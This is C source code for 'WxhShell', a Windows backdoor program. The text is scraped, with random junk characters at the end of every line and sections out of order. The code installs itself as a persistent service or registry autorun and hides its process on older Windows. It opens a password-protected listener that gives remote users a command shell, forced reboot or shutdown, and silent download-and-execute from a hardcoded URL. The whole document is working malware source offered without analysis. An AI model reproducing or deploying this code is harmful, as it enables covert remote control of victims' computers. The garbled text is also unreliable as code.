    break; eo@:@O+bm  
    } IlaH,J7n  
  // 关机 ^ML2xh  
  case 'd': { 0^.q5#A2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g]3-:&F{c  
    if(Boot(SHUTDOWN)) :cOwTW?Fj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H(0d(c1s  
    else { =B; )h  
    closesocket(wsh); M HgS5b2  
    ExitThread(0); >`6^1j(3  
    } g'mkhF(  
    break; lRO4- y  
    } YKk%lZ.8  
  // 获取shell ln3.TR*  
  case 's': { M]6=Rxq1:E  
    CmdShell(wsh); $H_4Y-xOi  
    closesocket(wsh); i4->XvC  
    ExitThread(0); au GN~"n^  
    break; (OJ}|*\e  
  } @]OI(B  
  // 退出 {t9U]hX%A[  
  case 'x': { )Dv"seH.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6/GhQ/T%D  
    CloseIt(wsh); '2%hc\P6P  
    break; MY0Wr%@#0  
    } KYlWV<sR  
  // 离开 5uu{f&?u)  
  case 'q': { +8~S28"Wg3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cW MZw|t  
    closesocket(wsh); )>=`[$D1t  
    WSACleanup(); ~ 9'64  
    exit(1); UH[ YH;3O  
    break; <q_H 3|  
        } (=p}b:Z  
  } * yt/ Dj  
  } I{M2nQi  
{8t;nsdm!  
  // 提示信息 6k ^vF~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u]zb<)'_  
} 9%)'QDVGLf  
  } ;T/' CD  
~kYF/B2*  
  return; RRV&!<l@$  
} ;E*ozKpm  
Qi[T!1  
// shell模块句柄 6_9w1 ,W E  
int CmdShell(SOCKET sock) \ 0:ITz  
{ AjZT- Q0L  
STARTUPINFO si; &qo'ge8p  
ZeroMemory(&si,sizeof(si)); EkJo.'0@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V,2O `D%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }}ogdq  
PROCESS_INFORMATION ProcessInfo; *aTM3k)Zs  
char cmdline[]="cmd"; ~>{<r{H"S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {VI%]n{M  
  return 0; 5Lue.U%a  
} 8l?]UFM>C  
b#$:XS  
// 自身启动模式 4$_8#w B1&  
int StartFromService(void) 'o5[ :=K  
{ u D . 0?*_  
typedef struct IMVoNKW-  
{ ^\x PF5  
  DWORD ExitStatus; C8(sH@  
  DWORD PebBaseAddress; V @8X .R>  
  DWORD AffinityMask; n)pBK>+  
  DWORD BasePriority; uZ OUp8QQ  
  ULONG UniqueProcessId; pKp#4Js  
  ULONG InheritedFromUniqueProcessId; L!{^^7  
}   PROCESS_BASIC_INFORMATION; %S@XY3jZY  
9WBDSx_(Q  
PROCNTQSIP NtQueryInformationProcess; |z5olu$gVc  
VM-J^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M`"2;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W>+<r9Rt4  
c5Offnq'1  
  HANDLE             hProcess; {\ .2h  
  PROCESS_BASIC_INFORMATION pbi; 2b!b-  
ZW,PZ<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z?V> ST  
  if(NULL == hInst ) return 0; 4N*^%  
D:){T>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HLk/C[`u,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hI/p9 `w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uE/qraA  
m.lNKIknQ  
  if (!NtQueryInformationProcess) return 0; V1(eebi|  
NbgP,-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i3f/{D/  
  if(!hProcess) return 0; 6g$+))g  
,m0=zH4+:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0k3^+#J  
+y-:(aP  
  CloseHandle(hProcess); :<nL9y jt  
:@Q_oyWE8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d[ {=/~0  
if(hProcess==NULL) return 0; xXLKL6F(\  
$BNn1C8[  
HMODULE hMod; bZa?h.IF  
char procName[255]; ]jM D'vg^b  
unsigned long cbNeeded; pvcf_w`n  
1OJ:Vy}n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SUx\qz)  
*6k (xL  
  CloseHandle(hProcess); c?wFEADn  
Kz'W |  
if(strstr(procName,"services")) return 1; // 以服务启动 ujDAs%6MZ  
S,J'Z:spf  
  return 0; // 注册表启动 M~3(4,  
} MLL2V`vBT  
hWuq  
// 主模块 k%c ?$n"  
int StartWxhshell(LPSTR lpCmdLine) Qza[~6  
{ 8B\,*JGY2  
  SOCKET wsl; 3):7mE(  
BOOL val=TRUE; I8?egDkk  
  int port=0; 6:QJ@j\  
  struct sockaddr_in door; GY0<\-  
r?H {Y3 ,  
  if(wscfg.ws_autoins) Install(); 4?8GK  
A7ck-9dT/L  
port=atoi(lpCmdLine); 6 0QElJ9D  
%#|S  
if(port<=0) port=wscfg.ws_port; JB* *z00;  
BXm{x6\  
  WSADATA data; 'O2{0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ];oED?I  
w/Ia` Tx$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   drF"kTD"7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \$9S_z  
  door.sin_family = AF_INET; V8&%fxn+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wwE9|'Ok  
  door.sin_port = htons(port); /&vUi7'  
mo <g'|0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hZ$* sf  
closesocket(wsl); l *pCG`@J#  
return 1; US4X CJxB  
} :qw:)i  
>iaZGXje  
  if(listen(wsl,2) == INVALID_SOCKET) { hLO nX<%a  
closesocket(wsl); ]_5C5m  
return 1; ]}C#"Xt  
} V$^x]z  
  Wxhshell(wsl); [gD02a: u  
  WSACleanup(); vO <;Gnh~  
zoO>N'b3)  
return 0; u!;kBs  
#F[6$. Gr  
} Cc9<ABv?  
Bg;bBA!L  
// 以NT服务方式启动 Qb9) 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vzs6YsA  
{ )WuuU [(  
DWORD   status = 0; <g,xc)[  
  DWORD   specificError = 0xfffffff; /V:%}Z  
KvC:(Vqj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %!LrC!6P4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]uj H7T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4AUY8Pxp  
  serviceStatus.dwWin32ExitCode     = 0; FL0[V,  
  serviceStatus.dwServiceSpecificExitCode = 0; *}3~8fu{  
  serviceStatus.dwCheckPoint       = 0; 3Qn! `  
  serviceStatus.dwWaitHint       = 0; b abDLaC@  
?T?%x(]I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xdw%Hw  
  if (hServiceStatusHandle==0) return; YjLPW@  
^> ZQ:xs@(  
status = GetLastError(); qo4AQ}0 <  
  if (status!=NO_ERROR) /|BzpIfpN  
{ b- %7@j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3-tp94`8}t  
    serviceStatus.dwCheckPoint       = 0; J:p nmZ`X  
    serviceStatus.dwWaitHint       = 0; >P+V!-%#  
    serviceStatus.dwWin32ExitCode     = status; x7t"@Gz  
    serviceStatus.dwServiceSpecificExitCode = specificError; H`B%6S /  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (\#j3Y)r  
    return; dzggl(  
  } rJD>]3D5p  
u~% m(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T?E2;j0h'#  
  serviceStatus.dwCheckPoint       = 0; m[]p IXc(  
  serviceStatus.dwWaitHint       = 0; P?\rRB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cXtL3T+  
} 69\0$O  
!=I:Uc-Y  
// 处理NT服务事件,比如:启动、停止 pO=bcs8Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0nG& LL5  
{ <)y'Ot0 y  
switch(fdwControl) z{;W$SO 2  
{ O:pQf/Xn  
case SERVICE_CONTROL_STOP: nvgo6*  
  serviceStatus.dwWin32ExitCode = 0; Sr%~ 5Q[W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ow+7o@$"/  
  serviceStatus.dwCheckPoint   = 0; F1gDeLmJ  
  serviceStatus.dwWaitHint     = 0; kax9RH vku  
  { <&b ~(f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|<qO-#.  
  } ';zLh  
  return; ?Q:se  
case SERVICE_CONTROL_PAUSE: /vSFQ}W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]qhVxeUm  
  break; *)g*5kKN  
case SERVICE_CONTROL_CONTINUE: ]!0 BMZmf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CK'Cf{S  
  break; Ff%m.A8d,4  
case SERVICE_CONTROL_INTERROGATE: l.fNkLC#  
  break; l<GRM1^kU  
}; I\`:(V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B3)#Ou2  
} GsE?<3  
>p2v"XX  
// 标准应用程序主函数 )bPwB.}kq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P@ 1D  
{  ,Ad\!  
$aG]V-M>  
// 获取操作系统版本 |`_TVzA  
OsIsNt=GetOsVer(); 9S.R%2xw`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kZSe#'R's  
.oAg (@^6  
  // 从命令行安装 &=@ R,  
  if(strpbrk(lpCmdLine,"iI")) Install(); (#\3XBG  
5j,)}AYO  
  // 下载执行文件 .J&~u0g  
if(wscfg.ws_downexe) { ",Ek| z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ur9-F^$  
  WinExec(wscfg.ws_filenam,SW_HIDE); lr,hF1r&Y  
} {%b>/r  
umI#P,%[  
if(!OsIsNt) { QO%>RG  
// 如果时win9x,隐藏进程并且设置为注册表启动 y#YCc{K [  
HideProc(); rQN+x|dKMb  
StartWxhshell(lpCmdLine); %+xh  
} lT1*e(I  
else I{B8'n{cN  
  if(StartFromService()) klv^310  
  // 以服务方式启动 Scxf5x-  
  StartServiceCtrlDispatcher(DispatchTable); Y2<Z"D`  
else LEHlfB#z`@  
  // 普通方式启动 |I85]'K9a  
  StartWxhshell(lpCmdLine); q35%t61Lc  
0v+5&Jk  
return 0; <J[*~v%(  
} &{ntx~Eq  
};29'_.."x  
k&yy_r   
{K_YW  
=========================================== /0Zwgxt4?7  
q\d'}:kfu  
&'T7 ~M:  
''v_8sv  
o6Vc}jRH  
)<-kS  
" 'Kp|\T r  
@2kt6 W  
#include <stdio.h> :m@(S6T m  
#include <string.h> $o {f)'.>n  
#include <windows.h> (O /hu3  
#include <winsock2.h> Kgk9p`C(  
#include <winsvc.h> 3PI{LU  
#include <urlmon.h> f^m8 4o'  
VUagZ 7p  
#pragma comment (lib, "Ws2_32.lib") sN^R Z0!>  
#pragma comment (lib, "urlmon.lib") #HM0s~^w&  
RrKs!2sCT  
#define MAX_USER   100 // 最大客户端连接数 jpOi Eo  
#define BUF_SOCK   200 // sock buffer /!jn$4fd:  
#define KEY_BUFF   255 // 输入 buffer gLd3,$ Ei  
J=zh+oLCV  
#define REBOOT     0   // 重启 e?RHf_d3T-  
#define SHUTDOWN   1   // 关机 1u)I}"{W>  
YNk?1#k?i  
#define DEF_PORT   5000 // 监听端口 ?Za1  b  
L{<E'#@F  
#define REG_LEN     16   // 注册表键长度 "1h|1'S50?  
#define SVC_LEN     80   // NT服务名长度 |]\qI  
0#XZ_(@%  
// 从dll定义API Gq+!%'][P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c1jgBty  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vseuk@>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #sAEIk/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %|l*=v  
Wa ,[#H  
// wxhshell配置信息 _2U1$0xK  
struct WSCFG { |/YT.c%  
  int ws_port;         // 监听端口 FkKx~I:  
  char ws_passstr[REG_LEN]; // 口令 V&)-u(s_S/  
  int ws_autoins;       // 安装标记, 1=yes 0=no *hFT,1WE=+  
  char ws_regname[REG_LEN]; // 注册表键名 vF1] L]z:?  
  char ws_svcname[REG_LEN]; // 服务名 !mq+Oz~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7 tit>dJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wQ4/eQ*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )jCAfdnCs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `6Y'H2WJ?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "m/0>UU0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9dSKlB5J  
+}X@{DB  
}; 80axsU^H0  
M0"xDvQ  
// default Wxhshell configuration pbloL3d.;+  
struct WSCFG wscfg={DEF_PORT, 0'VwObq  
    "xuhuanlingzhe", f u\M2"e  
    1, a?\ Au  
    "Wxhshell", V4ayewVX  
    "Wxhshell", Gi Zy C  
            "WxhShell Service", 70*Y4'u }A  
    "Wrsky Windows CmdShell Service", (MwB% g  
    "Please Input Your Password: ", OG!^:OY  
  1, mA3C)V  
  "http://www.wrsky.com/wxhshell.exe", S%g` X   
  "Wxhshell.exe" '0/t|V<  
    }; 8[2^`g  
5 E DGl  
// 消息定义模块 *.W ![%Be  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sq&$   
char *msg_ws_prompt="\n\r? for help\n\r#>"; CbI[K|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z1(rHJd  
char *msg_ws_ext="\n\rExit."; M nH4p  
char *msg_ws_end="\n\rQuit."; g^4'42UX  
char *msg_ws_boot="\n\rReboot..."; sq-[<ryk  
char *msg_ws_poff="\n\rShutdown..."; Dgp"RUP  
char *msg_ws_down="\n\rSave to "; QTtcGU  
ewY+a , t  
char *msg_ws_err="\n\rErr!"; U6n%rdXJ=  
char *msg_ws_ok="\n\rOK!"; vSPkm)O0)  
umSbxEZU@  
char ExeFile[MAX_PATH]; <E!M<!h  
int nUser = 0; ? vk;b!  
HANDLE handles[MAX_USER]; 3QU<vdtr  
int OsIsNt; O62H4oT  
V. \do"m  
SERVICE_STATUS       serviceStatus; iHWl%]7sN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A$[@AY$MI  
F0+u#/#  
// 函数声明 ]"{K5s7  
int Install(void); PgxD?Oi8  
int Uninstall(void); 5?%(j!p5  
int DownloadFile(char *sURL, SOCKET wsh); iI&J_Y{1a_  
int Boot(int flag); ^'6!)y#  
void HideProc(void); yC6XO&:g  
int GetOsVer(void); 9q;+ Al^Z  
int Wxhshell(SOCKET wsl); 4^  $  
void TalkWithClient(void *cs); l;F3kA  
int CmdShell(SOCKET sock); |4ONGU*`E  
int StartFromService(void); X0Xs"--}  
int StartWxhshell(LPSTR lpCmdLine); G\|VTqu  
gtVI>D'(W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g' H!%<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8L6!CP_!  
%R-"5?eTtu  
// 数据结构和表定义 W32bBzhL  
SERVICE_TABLE_ENTRY DispatchTable[] = 1[:?oEI  
{ -HS(<V=a?k  
{wscfg.ws_svcname, NTServiceMain}, / ~w\Npf0  
{NULL, NULL} 5e6]v2 k  
}; IF$f^$  
$IUT5Gia`  
// 自我安装 yzgDdAM  
int Install(void) O-}{%)[ F  
{ Y(-4Agq  
  char svExeFile[MAX_PATH]; Y!Wz7 C  
  HKEY key; Mw*R~OX  
  strcpy(svExeFile,ExeFile); /mo4Q?^  
(9{)4[3MAG  
// 如果是win9x系统,修改注册表设为自启动 &v'e;W  
if(!OsIsNt) { V)f/umT%g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d^!)',`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 89k9#i X  
  RegCloseKey(key); RU>T?2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WENPS*0oS]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZG H2  
  RegCloseKey(key); 7rbl+:y2  
  return 0; ^<.mUaP  
    } ?8)_,  
  } m}'kxZTOm  
} CAX|[  
else { CES^ c-. k  
7=aF-;X3jj  
// 如果是NT以上系统,安装为系统服务 S XIo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wg3y y8vIW  
if (schSCManager!=0) `Q' 0l},  
{ #Bj.#5  
  SC_HANDLE schService = CreateService ~?H _?}e  
  ( ~(~fuDT~O  
  schSCManager, =*~]lz__M  
  wscfg.ws_svcname, B|/=E470G  
  wscfg.ws_svcdisp, Q]uxZ;}aF  
  SERVICE_ALL_ACCESS, `h+sSIko  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &CV%+  
  SERVICE_AUTO_START, wm%9>mA%  
  SERVICE_ERROR_NORMAL, %J5zfNe)&  
  svExeFile, ^%VMp>s  
  NULL, *[) b}?  
  NULL, {AoH  
  NULL, ;*{y!pgb  
  NULL, n? e&I>1W  
  NULL t$m268m~  
  ); y9cW&rDH  
  if (schService!=0) hl(M0cxEWP  
  { ' jf$3  
  CloseServiceHandle(schService); "W?<BpV~@!  
  CloseServiceHandle(schSCManager); +ng8!k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {r?O>KDQf(  
  strcat(svExeFile,wscfg.ws_svcname); `b=?z%LuT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  W>.KV7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F3HpDfy  
  RegCloseKey(key); /59jkcA+  
  return 0; Gg]>S#^3  
    } $Y5R^Y  
  } Fo|6 PoSo  
  CloseServiceHandle(schSCManager); jeFX?]Q  
} 6}qp;mR E]  
} O-[lL"T  
k1e0kxn  
return 1; "94e-Nx  
} UA>UW!I  
Mj&q"G  
// 自我卸载 (j@3=-%6G  
int Uninstall(void) 0 XxU1w8\V  
{ s"7wG!yf  
  HKEY key; w] i&N1i  
56Z 1jN^U  
if(!OsIsNt) { 0>} FNRC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h:\WW;s[B  
  RegDeleteValue(key,wscfg.ws_regname); dO =fbmK  
  RegCloseKey(key); u[5*RTE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J!b v17H"  
  RegDeleteValue(key,wscfg.ws_regname); Q*u4q-DE  
  RegCloseKey(key); )kfj+/  
  return 0; NokAP|<y  
  } 1:h{( %`&  
} 56T<s+X>  
} kq&xH;9=.  
else { TPEg>[  
i0; p?4`m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `O4Ysk72x9  
if (schSCManager!=0) 3WZdP[o!  
{ ZV=O oL t,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dtD)VNkBZ  
  if (schService!=0) ByqB4Hv2  
  { wqEO+7)S  
  if(DeleteService(schService)!=0) { iOXxxP%#  
  CloseServiceHandle(schService); ^Tgu]t   
  CloseServiceHandle(schSCManager); K:hZ  
  return 0; JR>#PJ,N-  
  } \X1?,gV_  
  CloseServiceHandle(schService); Q}zAC2@L  
  } /UtCJMQ  
  CloseServiceHandle(schSCManager); }i0(^"SoXZ  
} "& h;\hL  
} xXkP(^ Y  
JDeG@N$  
return 1; /D2 cY>  
} Z3X/SQ'0  
EX zA(igS  
// 从指定url下载文件 GG@GjP<_  
int DownloadFile(char *sURL, SOCKET wsh) B7HNNX  
{ W?is8r:  
  HRESULT hr; 0wL-Ak#v  
char seps[]= "/"; 6^_:N1 @  
char *token; T:k-`t0":N  
char *file; n3Uw6gLD  
char myURL[MAX_PATH]; %zDh07VT\  
char myFILE[MAX_PATH]; /=4 m4  
2I DN?Mw  
strcpy(myURL,sURL); >.'rN>B+  
  token=strtok(myURL,seps); Ldqn<wNnI  
  while(token!=NULL) j_YpkKh en  
  { m?wPZ^u  
    file=token; vU= +  
  token=strtok(NULL,seps); O_-Lm4g?4  
  } ixc~DV+@[  
G- nS0Kn:  
GetCurrentDirectory(MAX_PATH,myFILE); %A_h!3f&  
strcat(myFILE, "\\"); bn$a7\X-  
strcat(myFILE, file); ffDh 0mDN  
  send(wsh,myFILE,strlen(myFILE),0); wyG7SA   
send(wsh,"...",3,0); G?Fqm@J{XT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $hv o^$  
  if(hr==S_OK) :K J#_y\rt  
return 0; )> >Tj7  
else phkfPvL{  
return 1; m+&) eQ:  
@q8h'@sX  
} +Wgp~$o4  
Z|l/6L8  
// 系统电源模块 J4Yu|E<&  
int Boot(int flag) IXQxjqd^  
{ ).IB{+  
  HANDLE hToken; NmbA~i  
  TOKEN_PRIVILEGES tkp; vxN,oa{hf  
p@`]9tLP(K  
  if(OsIsNt) { Zw4z`x1f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /O@TqH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _p <]jt  
    tkp.PrivilegeCount = 1; aS2Mx~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :&59N^So|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VAGQR&T?  
if(flag==REBOOT) { Lmp_8q-Ej  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YC,s]~[[   
  return 0; (tY0/s  
} uB&um*DP  
else { RQg7vv]%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5SOl:{A +  
  return 0; 1^R[kaY  
} v2ab  
  } QY)hMo=|o8  
  else { R#8.]  
if(flag==REBOOT) { Z@i"/~B|4\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pGO=3=O  
  return 0; qukym3F  
} b"JJ3$D  
else { uu5L9.i9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :9c[J$R4  
  return 0; Ng=_#<  
} xMOq/" )  
} yDl{18~zv  
nogdOGo  
return 1; Uxll<z,  
} O%hmGW4  
Qf=+%-$Y  
// win9x进程隐藏模块 '=eG[#gy  
void HideProc(void) vZ0K1UTEXY  
{ n\/ JNzd3  
8l<4OgoK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4nvi7  
  if ( hKernel != NULL ) SAQ|1I#"/  
  {  MjjN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /);S?7u.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SO!|wag$  
    FreeLibrary(hKernel); KO!.VxG]_  
  } R}T8cVxc  
y'{*B(  
return; 8x,{rS qq  
} _/\U  
agI"Kh]j?  
// 获取操作系统版本 j o+-  
int GetOsVer(void) 655OL)|cD6  
{ IH2V .>h  
  OSVERSIONINFO winfo; 3=@lJ?Ym  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ].(l^W  
  GetVersionEx(&winfo); GE S_|[Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Qh :*j!  
  return 1; V]{^}AKc  
  else PKxI09B  
  return 0; @Q%9b)\\  
} zxD~W"R:s  
~R+,4  
// 客户端句柄模块 Dwx^hNh  
int Wxhshell(SOCKET wsl) !XtZI3Xu  
{ &[Zg;r    
  SOCKET wsh; awC:{5R8v  
  struct sockaddr_in client; 3<"!h1x5  
  DWORD myID; 9| {t%F=-  
le*'GgU#  
  while(nUser<MAX_USER) vB<2f*U  
{ 8hZY Z /T  
  int nSize=sizeof(client); 7A=*3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D\@)*"  
  if(wsh==INVALID_SOCKET) return 1; zn3]vU!  
nD5+&M0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8aMmz!S  
if(handles[nUser]==0) cxig<W  
  closesocket(wsh); EjF2mkA*  
else .0a,%o 8n  
  nUser++; 6o cTQ}=  
  } rm5@dM@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3ss0/\3P  
W{l{O1,  
  return 0; 4^IqHx;bj  
} J=`2{ 'l  
H'_v  
// 关闭 socket nQm (UN  
void CloseIt(SOCKET wsh) d"nms\=p  
{ +N>z|T<  
closesocket(wsh); . l>.  
nUser--; %p}xW V.  
ExitThread(0); |!?lwBs4  
} /h v2=A  
.[Nr2w:>  
// 客户端请求句柄 O,_k.EH  
void TalkWithClient(void *cs) oa"_5kn,  
{ \&,{N_G#L.  
12 TX_0  
  SOCKET wsh=(SOCKET)cs; } b/Xui9Q  
  char pwd[SVC_LEN]; OTmw/#ug  
  char cmd[KEY_BUFF]; z[?&bF<|  
char chr[1]; G|eJac>  
int i,j; G5T(  
$*S&i(z  
  while (nUser < MAX_USER) { nYE' 'g+x  
UV#DN`%n  
if(wscfg.ws_passstr) { ][ V@t^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C.(<IcSG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zEMZz$Y  
  //ZeroMemory(pwd,KEY_BUFF); \T:*tgU  
      i=0; <KEVA?0>  
  while(i<SVC_LEN) { 1Pp2wpD4iC  
" Z2D@l  
  // 设置超时 Gl]z@ZXWIw  
  fd_set FdRead; Bgf'Hm% r  
  struct timeval TimeOut; g><i tA?  
  FD_ZERO(&FdRead); xhw0YDGzf  
  FD_SET(wsh,&FdRead); 3cSP1=$*  
  TimeOut.tv_sec=8; *Me&> "N"  
  TimeOut.tv_usec=0; HU47 S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (p!w`MSv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y py  
QZ2a1f'G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D6vhW:t8?  
  pwd=chr[0]; w^=uq3X?  
  if(chr[0]==0xd || chr[0]==0xa) { M=t;t0  
  pwd=0; ~gA^tc3G  
  break; W6!o=()  
  } "x4}FQ  
  i++; T%TfkQ__d  
    } >^bSjE  
SFkB,)Z N  
  // 如果是非法用户,关闭 socket y.,li<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XQI!G_\+C  
} &S9O:>=*  
pp1kcrE\M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \}EJtux q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q!Q*T^-rO  
i0g/'ZP  
while(1) { I2^@>/p8\(  
t+t D  
  ZeroMemory(cmd,KEY_BUFF); qL2Sv(A Z!  
kj]m@mS[  
      // 自动支持客户端 telnet标准   du>d?  
  j=0; 2"pFAQBw~i  
  while(j<KEY_BUFF) { 1`F25DhhY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #VU>Z|$@N  
  cmd[j]=chr[0]; 3,dIW*<**  
  if(chr[0]==0xa || chr[0]==0xd) { PE&$2(  
  cmd[j]=0; d8N4@3CkL  
  break; ,wB)hp  
  } L 4Sa,ZL  
  j++; @E%f AC  
    } -Zfq:Kr  
`6FH@" |I  
  // 下载文件 +T8]R7b9  
  if(strstr(cmd,"http://")) { B"3uuk8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0fAo&B  
  if(DownloadFile(cmd,wsh)) [{-5  
